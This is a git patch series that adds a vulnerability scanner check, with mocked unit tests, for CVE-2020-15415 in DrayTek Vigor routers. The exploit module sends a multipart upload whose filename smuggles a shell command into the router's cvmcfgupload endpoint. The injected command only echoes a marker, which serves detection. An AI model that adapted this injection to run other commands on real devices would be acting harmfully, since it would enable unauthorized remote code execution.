From 1a7a171f261538a90587ea1911faa5a4f8d471f7 Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Thu, 3 Oct 2024 15:22:50 +0100 Subject: [PATCH 1/3] Adding CVE-2020-15415 --- agent/exploits/cve_2020_15415.py | 78 +++++++++++++++++++++++ tests/exploits/cve_2020_15415_test.py | 89 +++++++++++++++++++++++++++ 2 files changed, 167 insertions(+) create mode 100644 agent/exploits/cve_2020_15415.py create mode 100644 tests/exploits/cve_2020_15415_test.py diff --git a/agent/exploits/cve_2020_15415.py b/agent/exploits/cve_2020_15415.py new file mode 100644 index 0000000..f4a3685 --- /dev/null +++ b/agent/exploits/cve_2020_15415.py @@ -0,0 +1,78 @@ +"""Agent Asteroid implementation for CVE-2020-15415""" + +import logging +import re +from urllib import parse as urlparse + +import requests + +from agent import definitions +from agent import exploits_registry +from agent.exploits import webexploit + +VULNERABILITY_TITLE = "Remote Command Execution in DrayTek Vigor Routers" +VULNERABILITY_REFERENCE = "CVE-2020-15415" +VULNERABILITY_DESCRIPTION = """A command injection vulnerability exists in the cgi-bin/mainfunction.cgi/cvmcfgupload endpoint of DrayTek Vigor3900, Vigor2960, and Vigor300B devices before version 1.5.1, allowing remote code execution via shell metacharacters in a filename.""" +RISK_RATING = "CRITICAL" + +MAX_REDIRECTS = 2 +DEFAULT_TIMEOUT = 90 + +UNIQUE_VALUE = "Ostorlab_scanner" + + +@exploits_registry.register +class DrayTekVigorCommandInjectionExploit(webexploit.WebExploit): + accept_request = definitions.Request(method="GET", path="/") + check_request = definitions.Request( + method="POST", path="/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2" + ) + accept_pattern = [re.compile(r"Vigor Login Page")] + metadata = definitions.VulnerabilityMetadata( + title=VULNERABILITY_TITLE, + description=VULNERABILITY_DESCRIPTION, + reference=VULNERABILITY_REFERENCE, + risk_rating=RISK_RATING, + ) + + def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: + """Rule to detect the remote command execution vulnerability on a specific target. + Args: + target: Target to scan + Returns: + List of identified vulnerabilities. + """ + session = requests.Session() + session.max_redirects = MAX_REDIRECTS + session.verify = False + + # Construct the target endpoint for the vulnerability check + target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) + + # Payload to exploit the vulnerability and echo "Ostorlab_scanner" + payload = """------WebKitFormBoundary +Content-Disposition: form-data; name="abc"; filename="t';echo Ostorlab_scanner;echo 'oxo_" +Content-Type: text/x-python-script + +------WebKitFormBoundary--""" + + try: + # Send the POST request to the vulnerable endpoint + resp = session.post( + target_endpoint, + data=payload, + timeout=DEFAULT_TIMEOUT, + headers={ + "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary" + }, + ) + except requests.RequestException as e: + logging.error("HTTP Request failed: %s", e) + return [] + + # Check if the response contains the echo string + if UNIQUE_VALUE in resp.text: + vulnerability = self._create_vulnerability(target) + return [vulnerability] + + return [] diff --git a/tests/exploits/cve_2020_15415_test.py b/tests/exploits/cve_2020_15415_test.py new file mode 100644 index 0000000..9ac2e05 --- /dev/null +++ b/tests/exploits/cve_2020_15415_test.py @@ -0,0 +1,89 @@ +"""Unit tests for Agent Asteroid: CVE-2020-15415""" + +import requests +import requests_mock as req_mock + +from agent import definitions +from agent.exploits import cve_2020_15415 + + +def testCVE202015415_whenVulnerable_reportFinding( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2020-15415 unit test: case when target is vulnerable.""" + requests_mock.get( + "http://localhost:80/", + text="Vigor Login Page", + status_code=200, + ) + requests_mock.post( + "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2", + text="Ostorlab_scanner", + status_code=200, + ) + exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + + vulnerabilities = exploit_instance.check(target) + accept = exploit_instance.accept(target) + + assert accept is True + assert len(vulnerabilities) == 1 + vulnerability = vulnerabilities[0] + assert ( + vulnerability.entry.title == "Remote Command Execution in DrayTek Vigor Routers" + ) + assert vulnerability.technical_detail == ( + "http://localhost:80 is vulnerable to CVE-2020-15415, " + "Remote Command Execution in DrayTek Vigor Routers" + ) + + +def testCVE202015415_whenSafe_reportNothing( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2020-15415 unit test: case when target is safe.""" + requests_mock.post( + "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2", + text="whatever", + status_code=200, + ) + exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0 + + +def testCVE202015415_whenRequestException_doesNotCrash( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2020-15415 unit test: case when a request exception occurs.""" + requests_mock.post( + "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2", + exc=requests.RequestException("Connection error"), + ) + exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + + vulnerabilities = exploit_instance.check(target) + + assert len(vulnerabilities) == 0 + + +def testCVE202015415_whenNotDrayTekVigor_doesNotAccept( + requests_mock: req_mock.mocker.Mocker, +) -> None: + """CVE-2020-15415 unit test: case when target is not a DrayTek Vigor device.""" + requests_mock.get( + "http://localhost:80/", + text="Apache", + status_code=200, + ) + exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit() + target = definitions.Target("http", "localhost", 80) + + accept = exploit_instance.accept(target) + + assert accept is False From d5b3162bf85309cdfe96f29fc8bbf47d5ee29797 Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Thu, 3 Oct 2024 15:23:52 +0100 Subject: [PATCH 2/3] Adding CVE-2020-15415 --- agent/exploits/cve_2020_15415.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/agent/exploits/cve_2020_15415.py b/agent/exploits/cve_2020_15415.py index f4a3685..c0959b1 100644 --- a/agent/exploits/cve_2020_15415.py +++ b/agent/exploits/cve_2020_15415.py @@ -46,10 +46,8 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: session.max_redirects = MAX_REDIRECTS session.verify = False - # Construct the target endpoint for the vulnerability check target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) - # Payload to exploit the vulnerability and echo "Ostorlab_scanner" payload = """------WebKitFormBoundary Content-Disposition: form-data; name="abc"; filename="t';echo Ostorlab_scanner;echo 'oxo_" Content-Type: text/x-python-script @@ -57,7 +55,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: ------WebKitFormBoundary--""" try: - # Send the POST request to the vulnerable endpoint resp = session.post( target_endpoint, data=payload, @@ -70,7 +67,6 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: logging.error("HTTP Request failed: %s", e) return [] - # Check if the response contains the echo string if UNIQUE_VALUE in resp.text: vulnerability = self._create_vulnerability(target) return [vulnerability] From f762b070d241a1f14dadc59ae0bd3a47e0b74bf3 Mon Sep 17 00:00:00 2001 From: pirahnasa Date: Thu, 3 Oct 2024 18:08:36 +0100 Subject: [PATCH 3/3] fix comments --- agent/exploits/cve_2020_15415.py | 6 +++--- tests/exploits/cve_2020_15415_test.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/agent/exploits/cve_2020_15415.py b/agent/exploits/cve_2020_15415.py index c0959b1..90c2e85 100644 --- a/agent/exploits/cve_2020_15415.py +++ b/agent/exploits/cve_2020_15415.py @@ -18,7 +18,7 @@ MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 -UNIQUE_VALUE = "Ostorlab_scanner" +UNIQUE_VALUE = "34ec96cf-d6f1-428a-b955-95080d0536e5" @exploits_registry.register @@ -48,8 +48,8 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: target_endpoint = urlparse.urljoin(target.origin, self.check_request.path) - payload = """------WebKitFormBoundary -Content-Disposition: form-data; name="abc"; filename="t';echo Ostorlab_scanner;echo 'oxo_" + payload = f"""------WebKitFormBoundary +Content-Disposition: form-data; name="abc"; filename="t';echo {UNIQUE_VALUE};echo 'oxo_" Content-Type: text/x-python-script ------WebKitFormBoundary--""" diff --git a/tests/exploits/cve_2020_15415_test.py b/tests/exploits/cve_2020_15415_test.py index 9ac2e05..73a3c66 100644 --- a/tests/exploits/cve_2020_15415_test.py +++ b/tests/exploits/cve_2020_15415_test.py @@ -18,7 +18,7 @@ def testCVE202015415_whenVulnerable_reportFinding( ) requests_mock.post( "http://localhost:80/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2", - text="Ostorlab_scanner", + text="34ec96cf-d6f1-428a-b955-95080d0536e5", status_code=200, ) exploit_instance = cve_2020_15415.DrayTekVigorCommandInjectionExploit()